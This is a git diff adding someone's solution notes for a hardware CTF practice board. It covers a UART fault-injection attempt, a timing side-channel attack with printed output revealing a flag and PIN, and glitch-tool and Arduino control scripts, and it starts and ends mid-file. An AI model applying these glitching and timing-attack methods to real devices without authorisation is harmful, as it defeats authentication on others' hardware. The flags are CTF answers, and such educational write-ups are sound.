+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
